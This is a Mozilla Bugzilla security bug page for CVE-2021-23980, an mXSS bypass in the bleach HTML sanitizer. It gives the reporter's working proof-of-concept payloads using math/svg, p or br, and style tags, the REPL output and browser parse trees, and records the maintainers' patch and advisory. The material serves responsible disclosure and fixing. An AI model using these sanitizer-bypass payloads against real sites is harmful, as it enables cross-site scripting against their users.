Closed Bug 1689399 (CVE-2021-23980) Opened 4 years ago Closed 4 years ago

mXSS in Mozilla-bleach with p tag

Categories

(Webtools :: Bleach-security, defect)

Product:
Webtools
Component:
Bleach-security
Type:
defect

Tracking

(Not tracked)

Status:
RESOLVED FIXED

People

(Reporter: u581815, Assigned: u581815)

References

(
URL
)

Details

(Keywords: reporter-external)

Attachments

(1 file)

link to GH patch PR
119 bytes, text/plain
willkg
: review+
Details

Copying a report from Yaniv Nizry (CC'd) to security@:

Hello,

My name is Yaniv Nizry and I’m a security analyst at Checkmarx's CxSCA group.
Checkmarx is a global software security company aiming for the safer usage of code and libraries.
I recently found another mXSS vulnerability in Mozilla-bleach.

Steps to reproduce:

  1. Have strip_comments set to False and allow math/svg, p, and style tag.
  2. Clean the following: `<math></p><style><!--</style><img src/onerror=alert(1)>
  3. Bleach output: <math><p></p><style><!--</style><img src/onerror=alert(1)>--></style></math>
>>> import bleach
>>> bleach.__version__
'3.2.3'
>>> bleach.clean('<math></p><style><!--</style><img src/onerror=alert(1)>', tags=['math', 'p', 'style'], strip_comments=False)
'<math><p></p><style><!--</style><img src/onerror=alert(1)>--></style></math>'
  1. After parsing it again in the browser:
<html>
  <head></head>
  <body>
    <math></math>
    <p></p>
    <style><!--</style>
    <img src(unknown) onerror="alert(1)">
    "-->
    "
  </body>
</html>

Expected results:

Alert 1 will pop on the browser.

Details:

In HTML the ‘p’ tag (and also ‘br’) are the only tags that will be created with just an end tag (e.g. </p> == <p></p> on the other hand </a> == nothing).
Also, in the math/svg namespace there are tags that stop the namespace and breaks out of the namespace, e.g. (using img as a breaker):
<svg><img></svg> == <svg><img></svg>
<svg><style></svg> == <svg><style></style></svg> == style is not a breaker
<svg><img><style></style></svg> == <svg></svg><img><style></style> == the breaker ejects elements that come after.

The parsing issue here is when passing p as an end tag it doesn’t count as a namespace breaker, see how parsing twice will change the output:

>>> bleach.clean("<math><p>", tags=["math", "p"])
'<math><p></p></math>'
>>> bleach.clean("<math><p></p></math>", tags=["math", "p"])
'<math></math><p></p>'

So going back to our PoC, at first the style tag is in svg/math namespace so the comment is like an html comment, then when parsing again on the browser the p tag breaks the style out of the svg/math namespace changing it to and html namespace style.
Now there is no comment and there is an img tag.

Bugzilla account - https://bugzilla.mozilla.org/user_profile?user_id=657031

Feel free to contact us for any questions.
Best regards,
Yaniv

Flags: sec-bounty?

Confirmed on Python 3.8.6, bleach 3.2.3.

edit: and 3.0.0 and 2.0.0 (going to assume all 2.x and 3.x impacted, also suggests it's not limited to html5lib-1.1)

Confirmed the test output does pop an alert on Fx Nightly on the test website with the following HTML:

<html>
  <head></head>
  <body>
    <math></math>
    <p></p>
    <style><!--</style>
    <img src="" onerror="alert(1)">
    -->
  </body>
</html>

Huh, so bleach doesn't close br in its output: <svg><br><style><!--</style><img src/onerror=alert(1)>--></style></svg>

and Nightly parses it as:

<html>
  <head></head>
  <body>
    <svg></svg>
    <br>
    <style><!--</style>
    <img src="" onerror="alert(1)">
    -->
  </body>
</html>

which still pops an alert.

OK I have a patch to escape HTML comments: https://github.com/mozilla/bleach-ghsa-vv2x-vrpj-qqpq/compare/mozilla:master...mozilla:fix-ghsa-vv2x-vrpj-qqpq?expand=1

For the test vectors bleach will output:

<math><br><style><!--&lt;/style&gt;&lt;img src/onerror=alert(1)&gt;--></style></math>
<svg><br><style><!--&lt;/style&gt;&lt;img src/onerror=alert(1)&gt;--></style></svg>
<math><p></p><style><!--&lt;/style&gt;&lt;img src/onerror=alert(1)&gt;--></style></math>
<svg><p></p><style><!--&lt;/style&gt;&lt;img src/onerror=alert(1)&gt;--></style></svg>

and Nightly parses the comment in the style tag now:

<html>
  <head></head>
  <body>
    <math></math>
    <br>
    <style>
      <!--&lt;/style&gt;&lt;img src/onerror=alert(1)&gt;-->
    </style>
  </body>
</html>

Planning to get the patch reviewed and landed early next week.

Attached file link to GH patch PR —

:willkg can you review the patch and advisory?

Flags: needinfo?(willkg)
Attachment #9200428 - Flags: review?(willkg)

Greg: Can you create a PR with that patch? If not, I can probably figure out how to review it as is, but it'll be harder.

Flags: needinfo?(willkg) → needinfo?(gguthe)

(In reply to Will Kahn-Greene [:willkg] ET needinfo? me from comment #6)

Greg: Can you create a PR with that patch? If not, I can probably figure out how to review it as is, but it'll be harder.

Yep: https://github.com/mozilla/bleach-ghsa-vv2x-vrpj-qqpq/pull/1

I didn't want to open it earlier than necessary since it makes the issue public (or maybe not, but I wasn't sure).

Flags: needinfo?(gguthe) → needinfo?(willkg)

I reviewed the PR on GitHub. Looks good! I think the advisory looks good, too. Nice job!

Flags: needinfo?(willkg)
Attachment #9200428 - Flags: review?(willkg) → review+

https://pypi.org/project/bleach/3.3.0/ is published along with the advisory https://github.com/mozilla/bleach/security/advisories/GHSA-vv2x-vrpj-qqpq

Thanks for your help Will and thanks again for your research and well written report Yaniv.

Status: NEW → RESOLVED
Closed: 4 years ago
Resolution: --- → FIXED
Flags: sec-bounty-hof+
Flags: sec-bounty? → sec-bounty-

Thank you for the quick fix and the advisory,
are we planning to add a CVE on this issue?

Best regards,
Yaniv

Group: webtools-security

Assigning CVE; Greg could you please add it to to the GH Advisory?

Alias: CVE-2021-23980
Flags: needinfo?(gguthe)

Yep, added the CVE to the GH Advisory

Flags: needinfo?(gguthe)
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: